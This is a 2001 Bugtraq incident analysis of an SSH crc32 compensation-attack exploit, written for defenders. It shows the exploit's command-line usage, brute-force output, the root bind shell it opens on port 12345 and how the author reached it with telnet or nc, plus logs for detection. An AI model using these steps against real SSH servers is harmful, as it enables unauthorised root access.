Analysis of SSH crc32 compensation attack detector exploit
Date: Thu, 8 Nov 2001 23:32:32 -0800 (PST)
From: Dave Dittrich <dittrich@cac.washington.edu>
To: BUGTRAQ@SECURITYFOCUS.COM,
Subject: Analysis of SSH crc32 compensation attack detector exploit
==========================================================
Analysis of SSH crc32 compensation attack detector exploit
==========================================================
Copyright (C) 2001, David A. Dittrich <dittrich@cac.washington.edu>
Thu Nov 8 23:31:20 PST 2001
Summary of incident
===================
On October 6, 2001, intruders originating from network blocks
in the Netherlands used an exploit for the crc32 compensation attack
detector vulnerability to remotely compromise a Red Hat Linux
system on the UW network running OpenSSH 2.1.1. This vulnerability is
described in CERT Vulnerability note VU#945216:
http://www.kb.cert.org/vuls/id/945216
Once in the system, a series of operating system commands were
replaced with trojan horses to provide back doors for later entry
and to conceal the presence of the intruders in the system. A second
SSH server was run on a high numbered port (39999/tcp). The system
was then used for broad scanning (outbound from the UW network) to
identify more systems running OpenSSH 2.1.1, some of which were
then attacked manually.
Artifacts and logs were recovered from the system and analyzed.
[NOTE: This particular exploit is presumed to be independent of any
root kits or tool kits, so do not expect these same attributes to be
present on all systems attacking with an SSH crc32 exploit.]
The exploit is based on the source code for OpenSSH 2.2.0 (which
is the follow on to version 2.1.1, and patched a vulnerability in the
crc32 compensation attack detection function). It is is actively being
used against systems running OpenSSH 2.1.1 servers which suffer from
this vulnerability, and has been successfully used against SSH.com
version 1.2.31 as well. (Other implementations of SSH protocol 1
and versions have not been tested to date.)
The analyzed exploit lists the following targets:
linux/x86 ssh.com 1.2.26-1.2.31 rhl
linux/x86 openssh 1.2.3 (maybe others)
linux/x86 openssh 2.2.0p1 (maybe others)
freebsd 4.x, ssh.com 1.2.26-1.2.31 rhl
While this exploit shows multiple targets, the attackers in this case
were only scanning for 22/tcp, then connecting to those systems that
respond to get the server version and explicitly looking for only
"OpenSSH_2.1.1". These were rapid SYN scans, using a tool that
comes with the t0rn root kit.
Analysis of the compromised system revealed that 47067 addresses had
been scanned (totalling 25386 unique hosts -- it is not clear why
there is such a large overlap.) Of the hosts scanned, 1244 vulnerable
hosts were identified, and the intruders had successfully exploited
and entered 4 hosts before the system was taken off-line on October 8.
Other reports of 22/tcp scanning have come in since October 8, and it
is believed that this exploit is circulating among IRC chat channels.
The exploit does not work against systems that use access control
restrictions (e.g., SSH.com's "AllowHosts" or "DenyHosts" settings)
or packet level filters (e.g., ipchains, iptables, ipf) which would
prevent a host from attempting to exchange public keys. The
vulnerability requires being able to enter cryptographic key exchange
negotiation with the server to properly manipulate the stack.
Background on the vulnerability and exploit
===========================================
This vulnerability was first announced by CORE-SDI in their advisory
CORE-20010207, dated February 8, 2001:
http://www.securityfocus.com/advisories/3088
Other advisories and bug descriptions are:
http://xforce.iss.net/alerts/advise100.php
http://razor.bindview.com/publish/advisories/adv_ssh1crc.html
http://www.securityfocus.com/bugid=2347
On October 21, 2001, a thread was started by Jay Dyson on the
incidents@securityfocus.com email list about scans for SSH servers
originating from RIPE net blocks:
http://www.securityfocus.com/cgi-bin/archive.pl?id=75&start=2001-10-27&end=2001-11-02&mid=221998&threads=1
Other groups have, or are working on, studies of scanning for
22/tcp around the globe.
A discussion on the vuln-dev@securityfocus.com email list prompted the
following Newsbytes story about selling such an exploit for $1000:
Hackers Put A Price Tag On New Attack Tool
http://www.newsbytes.com/news/01/171291.html
[NOTE: The vulnerability is in the source code for SSH protocol 1,
not for SSH on a particular hardware architecture. Unconfirmed rumors
exist that indicate shell code for Solaris 8/SPARC SSH.com 1.2.26-31
may also exist, so ALL ARCHITECTURES should be considered potentially
vulnerable, not just Linux/i386.]
Vendor advisories, statements, and patch information
====================================================
http://www.ssh.com/products/ssh/advisories/ssh1_crc-32.cfm
http://openssh.org/security.html
http://www.cisco.com/warp/public/707/SSH-multiple-pub.html
Runtime analysis of the exploit
===============================
The exploit was tested on an isolated network segment, using a network
address of 10.10.10.0/24, with attacking host using 10.10.10.10 and
victim host using 10.10.10.3.
The victim is running SSH.com's version 1.2.31 compiled on Red Hat
Linux 6.0 (Kernel 2.2.16-3 on an i586).
The attacking host was running Fred Cohen's PLAC[1] (CD-ROM bootable
Linux 2.4.5 system, employing a ram disk for the root partition.)
Files were copied onto the system using "nc" (Netcat)[2].
This configuration allows some safety in the event the exploit (which
was reviewed in a cursory fashion by "reqt" disassembly[3]) actually
has some malicious code. The non-routable network address and
isolated subnet also prevent potential damage.
Attacker's view
===============
When run with no arguments, the exploit presents the user with usage
information:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
root@plac /bin >> ./ssh
linux/x86 sshd1 exploit by zip/TESO (zip@james.kalifornia.com) - ripped from
openssh 2.2.0 src
greets: mray, random, big t, sh1fty, scut, dvorak
ps. this sploit already owned cia.gov :/
**please pick a type**
Usage: ./ssh host [options]
Options:
-p port
-b base Base address to start bruteforcing distance, by default 0x1800,
goes as high as 0x10000
-t type
-d debug mode
-o Add this to delta_min
types:
0: linux/x86 ssh.com 1.2.26-1.2.31 rhl
1: linux/x86 openssh 1.2.3 (maybe others)
2: linux/x86 openssh 2.2.0p1 (maybe others)
3: freebsd 4.x, ssh.com 1.2.26-1.2.31 rhl
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[NOTE: Other versions of this exploit that are circulating have other
options listed which affect the same hosts, but support a different
back door port, in one case 3879/tcp, and require a special
environment variable be set to protect execution (See the README file
in Appendix B.) This may be a defensive mechanism against the exploit
being stolen or discovered.]
Our victim system is running SSH.com version 1.2.31 (unpatched)
on port 2222, with syslog logging directed to a separate file
("sshdx.log", excerpts shown below).
We select type 0 and attack our server on port 2222:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
root@plac /bin >> ./ssh 10.10.10.3 -p 2222 -t 0
linux/x86 sshd1 exploit by zip/TESO (zip@james.kalifornia.com) - ripped from
openssh 2.2.0 src
greets: mray, random, big t, sh1fty, scut, dvorak
ps. this sploit already owned cia.gov :/
...........................
bruteforced distance: 0x3200
bruteforcing distance from h->partial packet buffer on stack
..............^[[A................|////////\\\\!
bruteforced h->ident buff distance: 5bfbed88
trying retloc_delta: 35
....!
found high words of possible return address: 808
trying to exploit
....
trying retloc_delta: 37
.!
found high words of possible return address: 805
trying to exploit
....
trying retloc_delta: 39
......
trying retloc_delta: 3b
......
trying retloc_delta: 3d
!
found high words of possible return address: 804
trying to exploit
....
trying retloc_delta: 3f
......
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
At this point, the exploit tool appears to "hang". Switching to the
victim system, things have changed.
Victim's view
==============
Prior to the exploit, the victim system shows the standard SSH daemon
on port 22/tcp, and our vulnerable daemon on port 2222/tcp. Both are
listening, and the standard SSH daemon has one incoming connection
(10.10.10.2:33354):
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN
tcp 0 0 10.10.10.3:22 10.10.10.2:33354 ESTABLISHED
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
After the above exploit had run to the point of the apparent "hang",
a new listening service port is now visible on 12345/tcp:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN
tcp 0 0 10.10.10.3:2222 10.10.10.10:32965 ESTABLISHED
tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN
tcp 0 0 10.10.10.3:22 10.10.10.2:33354 ESTABLISHED
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
During a second "attack", a netstat is run. During the attack
window, the multiple brute force attack attempts are visible:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN
tcp 1252 0 10.10.10.3:2222 10.10.10.10:33076 ESTABLISHED
tcp 0 0 10.10.10.3:2222 10.10.10.10:33075 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33074 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33072 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33071 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33069 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33067 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33066 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33064 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33063 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33062 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33061 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33060 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33059 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33058 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33056 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33055 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33053 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33051 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33050 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33048 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33047 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33046 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33042 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33041 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33040 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33039 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33038 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33036 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33035 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33034 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33033 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33032 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33030 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33029 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33028 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33027 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33024 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33023 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33022 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33021 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33020 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33016 TIME_WAIT
tcp 0 0 10.10.10.3:2222 10.10.10.10:33014 TIME_WAIT
tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN
tcp 0 0 10.10.10.3:22 10.10.10.2:33354 ESTABLISHED
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
LiSt Open Files ("lsof")[4] shows the vulnerable SSH daemon has now
opened a new listening port:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# lsof -p 9364
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
sshd 9364 root cwd DIR 3,3 1024 2 /
sshd 9364 root rtd DIR 3,3 1024 2 /
sshd 9364 root txt REG 3,3 655038 442413 /usr/local/src/ssh-1.2.31/sbin/sshd1
sshd 9364 root mem REG 3,3 340771 30722 /lib/ld-2.1.3.so
sshd 9364 root mem REG 3,3 370141 31107 /lib/libnsl-2.1.3.so
sshd 9364 root mem REG 3,3 66231 31103 /lib/libcrypt-2.1.3.so
sshd 9364 root mem REG 3,3 47008 31113 /lib/libutil-2.1.3.so
sshd 9364 root mem REG 3,3 4101836 31102 /lib/libc-2.1.3.so
sshd 9364 root mem REG 3,3 246652 31109 /lib/libnss_files-2.1.3.so
sshd 9364 root mem REG 3,3 252234 31111 /lib/libnss_nisplus-2.1.3.so
sshd 9364 root mem REG 3,3 255963 31110 /lib/libnss_nis-2.1.3.so
sshd 9364 root mem REG 3,3 67580 31108 /lib/libnss_dns-2.1.3.so
sshd 9364 root mem REG 3,3 169720 31112 /lib/libresolv-2.1.3.so
sshd 9364 root 0u CHR 1,3 4110 /dev/null
sshd 9364 root 1u CHR 1,3 4110 /dev/null
sshd 9364 root 2u CHR 1,3 4110 /dev/null
sshd 9364 root 3u inet 10202 TCP *:12345 (LISTEN)
sshd 9364 root 4u inet 10197 TCP 10.10.10.3:2222->10.10.10.10:33190 (CLOSE_WAIT)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
A successful exploit
====================
Now comes the fun part. The exploit does the typical "bind a shell
to a high-numbered TCP port" trick, which also is visible in
"netstat" output (12345/tcp):
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.10.10.3:12345 10.10.10.10:33077 ESTABLISHED
tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN
tcp 1252 0 10.10.10.3:2222 10.10.10.10:33076 ESTABLISHED
tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN
tcp 0 0 10.10.10.3:22 10.10.10.2:33354 ESTABLISHED
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
All that is necessary is for the attacker to then use "telnet" or "nc"
(Netcat) to connect to this port and start executing commands from the
shell (it is necessary to end each command line with a semi-colon),
or to pipe commands from a shell script (this automation method is
common, e.g. as seen in the analysis of trin00 published in 1999
in connection with DDoS attacks using that tool.)
[NOTE: Feedback from a reviewer of this analysis indicates that if you
use "nc" to connect to the back door port, rather than "telnet", you
don't need to terminate commands to the shell with semicolons. Nc
adds in the newline character that the shell recognizes as a command
terminator.]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
root@plac ~ >> telnet 10.10.10.3 12345
Trying 10.10.10.3...
Connected to 10.10.10.3.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
date;
Thu Nov 1 18:04:42 PST 2001
netstat -an --inet;
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.10.10.3:12345 10.10.10.10:33077 ESTABLISHED
tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN
tcp 1252 0 10.10.10.3:2222 10.10.10.10:33076 ESTABLISHED
tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
exit;
Connection closed by foreign host.
root@plac ~ >>
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Once the attacker exits the shell, things on the victim system go back
to normal:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.10.10.3:2222 0.0.0.0:* LISTEN
tcp 0 0 10.10.10.3:22 10.10.10.2:33354 ESTABLISHED
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
If syslog logging is enabled, the connections and brute force attempts
are quite visible (remember, this is stock SSH.com 1.2.31 on
Red Hat Linux 6.0 -- syslog signatures for OpenSSH were not obtained
in this analysis):
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Nov 1 18:46:14 victim sshd[9510]: log: Connection from 10.10.10.10 port 33298
Nov 1 18:46:19 victim sshd[9511]: log: Connection from 10.10.10.10 port 33299
Nov 1 18:46:22 victim sshd[9512]: log: Connection from 10.10.10.10 port 33300
Nov 1 18:46:26 victim sshd[9513]: log: Connection from 10.10.10.10 port 33301
Nov 1 18:46:31 victim sshd[9515]: log: Connection from 10.10.10.10 port 33302
Nov 1 18:46:35 victim sshd[9516]: log: Connection from 10.10.10.10 port 33303
Nov 1 18:46:39 victim sshd[9517]: log: Connection from 10.10.10.10 port 33304
Nov 1 18:46:43 victim sshd[9518]: log: Connection from 10.10.10.10 port 33305
Nov 1 18:46:47 victim sshd[9518]: fatal: Local: Corrupted check bytes on input.
Nov 1 18:46:47 victim sshd[9519]: log: Connection from 10.10.10.10 port 33306
Nov 1 18:46:52 victim sshd[9519]: fatal: Connection closed by remote host.
Nov 1 18:46:53 victim sshd[9520]: log: Connection from 10.10.10.10 port 33307
Nov 1 18:46:57 victim sshd[9521]: log: Connection from 10.10.10.10 port 33308
Nov 1 18:47:01 victim sshd[9522]: log: Connection from 10.10.10.10 port 33309
Nov 1 18:47:06 victim sshd[9523]: log: Connection from 10.10.10.10 port 33310
Nov 1 18:47:10 victim sshd[9524]: log: Connection from 10.10.10.10 port 33311
Nov 1 18:47:14 victim sshd[9525]: log: Connection from 10.10.10.10 port 33312
Nov 1 18:47:19 victim sshd[9526]: log: Connection from 10.10.10.10 port 33313
Nov 1 18:47:24 victim sshd[9527]: log: Connection from 10.10.10.10 port 33314
Nov 1 18:47:24 victim sshd[9527]: fatal: Connection closed by remote host.
Nov 1 18:47:46 victim sshd[9528]: log: Connection from 10.10.10.10 port 33315
Nov 1 18:47:46 victim sshd[9529]: log: Connection from 10.10.10.10 port 33316
Nov 1 18:47:47 victim sshd[9530]: log: Connection from 10.10.10.10 port 33317
Nov 1 18:47:47 victim sshd[9531]: log: Connection from 10.10.10.10 port 33318
Nov 1 18:47:47 victim sshd[9532]: log: Connection from 10.10.10.10 port 33319
Nov 1 18:47:48 victim sshd[9533]: log: Connection from 10.10.10.10 port 33320
Nov 1 18:47:48 victim sshd[9534]: log: Connection from 10.10.10.10 port 33321
Nov 1 18:47:48 victim sshd[9535]: log: Connection from 10.10.10.10 port 33322
Nov 1 18:47:49 victim sshd[9536]: log: Connection from 10.10.10.10 port 33323
Nov 1 18:47:49 victim sshd[9537]: log: Connection from 10.10.10.10 port 33324
Nov 1 18:47:50 victim sshd[9538]: log: Connection from 10.10.10.10 port 33325
Nov 1 18:47:50 victim sshd[9539]: log: Connection from 10.10.10.10 port 33326
Nov 1 18:47:50 victim sshd[9540]: log: Connection from 10.10.10.10 port 33327
Nov 1 18:47:51 victim sshd[9541]: log: Connection from 10.10.10.10 port 33328
Nov 1 18:47:51 victim sshd[9542]: log: Connection from 10.10.10.10 port 33329
Nov 1 18:47:51 victim sshd[9543]: log: Connection from 10.10.10.10 port 33330
Nov 1 18:47:52 victim sshd[9544]: log: Connection from 10.10.10.10 port 33331
Nov 1 18:47:52 victim sshd[9545]: log: Connection from 10.10.10.10 port 33332
Nov 1 18:47:52 victim sshd[9546]: log: Connection from 10.10.10.10 port 33333
Nov 1 18:47:53 victim sshd[9547]: log: Connection from 10.10.10.10 port 33334
Nov 1 18:47:53 victim sshd[9548]: log: Connection from 10.10.10.10 port 33335
Nov 1 18:47:54 victim sshd[9549]: log: Connection from 10.10.10.10 port 33336
Nov 1 18:47:54 victim sshd[9550]: log: Connection from 10.10.10.10 port 33337
Nov 1 18:47:54 victim sshd[9551]: log: Connection from 10.10.10.10 port 33338
Nov 1 18:47:55 victim sshd[9552]: log: Connection from 10.10.10.10 port 33339
Nov 1 18:47:55 victim sshd[9553]: log: Connection from 10.10.10.10 port 33340
Nov 1 18:47:55 victim sshd[9554]: log: Connection from 10.10.10.10 port 33341
Nov 1 18:47:56 victim sshd[9555]: log: Connection from 10.10.10.10 port 33342
Nov 1 18:47:56 victim sshd[9556]: log: Connection from 10.10.10.10 port 33343
Nov 1 18:47:56 victim sshd[9555]: fatal: Local: Corrupted check bytes on input.
Nov 1 18:47:57 victim sshd[9557]: log: Connection from 10.10.10.10 port 33344
Nov 1 18:47:57 victim sshd[9558]: log: Connection from 10.10.10.10 port 33345
Nov 1 18:47:57 victim sshd[9559]: log: Connection from 10.10.10.10 port 33346
Nov 1 18:47:58 victim sshd[9560]: log: Connection from 10.10.10.10 port 33347
Nov 1 18:47:58 victim sshd[9561]: log: Connection from 10.10.10.10 port 33348
Nov 1 18:47:59 victim sshd[9562]: log: Connection from 10.10.10.10 port 33349
Nov 1 18:47:59 victim sshd[9563]: log: Connection from 10.10.10.10 port 33350
Nov 1 18:47:59 victim sshd[9564]: log: Connection from 10.10.10.10 port 33351
Nov 1 18:48:00 victim sshd[9565]: log: Connection from 10.10.10.10 port 33352
Nov 1 18:48:00 victim sshd[9566]: log: Connection from 10.10.10.10 port 33353
Nov 1 18:48:00 victim sshd[9567]: log: Connection from 10.10.10.10 port 33354
Nov 1 18:48:01 victim sshd[9568]: log: Connection from 10.10.10.10 port 33355
Nov 1 18:48:01 victim sshd[9569]: log: Connection from 10.10.10.10 port 33356
Nov 1 18:48:02 victim sshd[9570]: log: Connection from 10.10.10.10 port 33357
Nov 1 18:48:02 victim sshd[9571]: log: Connection from 10.10.10.10 port 33358
Nov 1 18:48:02 victim sshd[9572]: log: Connection from 10.10.10.10 port 33359
Nov 1 18:48:03 victim sshd[9573]: log: Connection from 10.10.10.10 port 33360
Nov 1 18:48:03 victim sshd[9574]: log: Connection from 10.10.10.10 port 33361
Nov 1 18:48:03 victim sshd[9575]: log: Connection from 10.10.10.10 port 33362
Nov 1 18:48:04 victim sshd[9576]: log: Connection from 10.10.10.10 port 33363
Nov 1 18:48:04 victim sshd[9577]: log: Connection from 10.10.10.10 port 33364
Nov 1 18:48:04 victim sshd[9578]: log: Connection from 10.10.10.10 port 33365
Nov 1 18:48:05 victim sshd[9579]: log: Connection from 10.10.10.10 port 33366
Nov 1 18:48:05 victim sshd[9580]: log: Connection from 10.10.10.10 port 33367
Nov 1 18:48:06 victim sshd[9581]: log: Connection from 10.10.10.10 port 33368
Nov 1 18:48:06 victim sshd[9582]: log: Connection from 10.10.10.10 port 33369
Nov 1 18:48:06 victim sshd[9583]: log: Connection from 10.10.10.10 port 33370
Nov 1 18:48:07 victim sshd[9584]: log: Connection from 10.10.10.10 port 33371
Nov 1 18:48:07 victim sshd[9585]: log: Connection from 10.10.10.10 port 33372
Nov 1 18:48:07 victim sshd[9586]: log: Connection from 10.10.10.10 port 33373
Nov 1 18:48:08 victim sshd[9587]: log: Connection from 10.10.10.10 port 33374
Nov 1 18:48:08 victim sshd[9586]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:08 victim sshd[9588]: log: Connection from 10.10.10.10 port 33375
Nov 1 18:48:08 victim sshd[9587]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:08 victim sshd[9589]: log: Connection from 10.10.10.10 port 33376
Nov 1 18:48:08 victim sshd[9588]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:09 victim sshd[9590]: log: Connection from 10.10.10.10 port 33377
Nov 1 18:48:09 victim sshd[9589]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:09 victim sshd[9591]: log: Connection from 10.10.10.10 port 33378
Nov 1 18:48:09 victim sshd[9590]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:09 victim sshd[9592]: log: Connection from 10.10.10.10 port 33379
Nov 1 18:48:09 victim sshd[9591]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:10 victim sshd[9592]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:10 victim sshd[9593]: log: Connection from 10.10.10.10 port 33380
Nov 1 18:48:10 victim sshd[9594]: log: Connection from 10.10.10.10 port 33381
Nov 1 18:48:10 victim sshd[9593]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:11 victim sshd[9595]: log: Connection from 10.10.10.10 port 33382
Nov 1 18:48:11 victim sshd[9594]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:11 victim sshd[9596]: log: Connection from 10.10.10.10 port 33383
Nov 1 18:48:11 victim sshd[9597]: log: Connection from 10.10.10.10 port 33384
Nov 1 18:48:11 victim sshd[9596]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:12 victim sshd[9598]: log: Connection from 10.10.10.10 port 33385
Nov 1 18:48:12 victim sshd[9597]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:12 victim sshd[9599]: log: Connection from 10.10.10.10 port 33386
Nov 1 18:48:12 victim sshd[9598]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:12 victim sshd[9600]: log: Connection from 10.10.10.10 port 33387
Nov 1 18:48:12 victim sshd[9599]: fatal: Local: crc32 compensation attack: network attack detected
Nov 1 18:48:13 victim sshd[9601]: log: Connection from 10.10.10.10 port 33388
Nov 1 18:48:13 victim sshd[9602]: log: Connection from 10.10.10.10 port 33389
Nov 1 18:48:13 victim sshd[9603]: log: Connection from 10.10.10.10 port 33390
Nov 1 18:48:14 victim sshd[9604]: log: Connection from 10.10.10.10 port 33391
Nov 1 18:48:14 victim sshd[9605]: log: Connection from 10.10.10.10 port 33392
Nov 1 18:48:15 victim sshd[9606]: log: Connection from 10.10.10.10 port 33393
Nov 1 18:48:15 victim sshd[9605]: fatal: Local: Corrupted check bytes on input.
Nov 1 18:48:15 victim sshd[9607]: log: Connection from 10.10.10.10 port 33394
Nov 1 18:48:16 victim sshd[9608]: log: Connection from 10.10.10.10 port 33395
Nov 1 18:48:16 victim sshd[9609]: log: Connection from 10.10.10.10 port 33396
Nov 1 18:48:16 victim sshd[9610]: log: Connection from 10.10.10.10 port 33397
Nov 1 18:48:17 victim sshd[9611]: log: Connection from 10.10.10.10 port 33398
Nov 1 18:48:17 victim sshd[9611]: fatal: Local: Corrupted check bytes on input.
Nov 1 18:48:17 victim sshd[9612]: log: Connection from 10.10.10.10 port 33399
Nov 1 18:48:18 victim sshd[9613]: log: Connection from 10.10.10.10 port 33400
Nov 1 18:48:18 victim sshd[9614]: log: Connection from 10.10.10.10 port 33401
Nov 1 18:58:18 victim sshd[9614]: fatal: Timeout before authentication.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
One final point. Note the last syslog entry. The successful exploit
causes an authentication attempt to pause while the shell code back door
becomes active. You can connect to the shell and do whatever you
want. Only problem is, the original SSH daemon (at least with SSH.com
1.2.31) will timeout when the authentication doesn't complete, and the
shell will be terminated. This gives a window of ten minutes (at
least with SSH.com 1.2.31) before the listening shell's parent dies
and another exploit attempt must be started. (That is plenty of time
to fully root the box eight ways from Sunday, unfortunately.)
Network traffic
===============
Tcpdump was used to capture the two "attacks" shown above. (The tcpdump
file "sshdx.dump", rather than the exploit itself, is available [11]
